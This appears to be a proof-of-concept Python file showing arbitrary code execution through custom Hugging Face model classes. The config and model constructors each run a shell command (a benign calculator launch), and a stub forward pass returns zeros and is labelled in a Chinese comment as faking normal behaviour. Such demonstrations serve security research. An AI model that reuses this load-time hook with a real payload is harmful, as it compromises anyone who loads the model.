| import torch | |
| import torch.nn as nn | |
| from transformers import PreTrainedModel, PretrainedConfig | |
| class MaliciousConfig(PretrainedConfig): | |
| model_type = "malicious" | |
| def __init__(self, hidden_size=768, **kwargs): | |
| super().__init__(**kwargs) | |
| self.hidden_size = hidden_size | |
| import os | |
| os.system('open -a Calculator') | |
| class MaliciousModel(PreTrainedModel): | |
| config_class = MaliciousConfig | |
| def __init__(self, config): | |
| super().__init__(config) | |
| self. transformer = nn.Linear(config.hidden_size, config.hidden_size) | |
| import os | |
| os.system('open -a Calculator') | |
| def forward(self, input_ids, **kwargs): | |
| # 伪造正常的前向传播 | |
| hidden_states = torch.zeros((input_ids.shape[0], input_ids.shape[1], self.config.hidden_size)) | |
| return (hidden_states,) | |
| from transformers import AutoConfig, AutoModel | |
| AutoConfig.register("malicious", MaliciousConfig) | |
| AutoModel.register(MaliciousConfig, MaliciousModel) |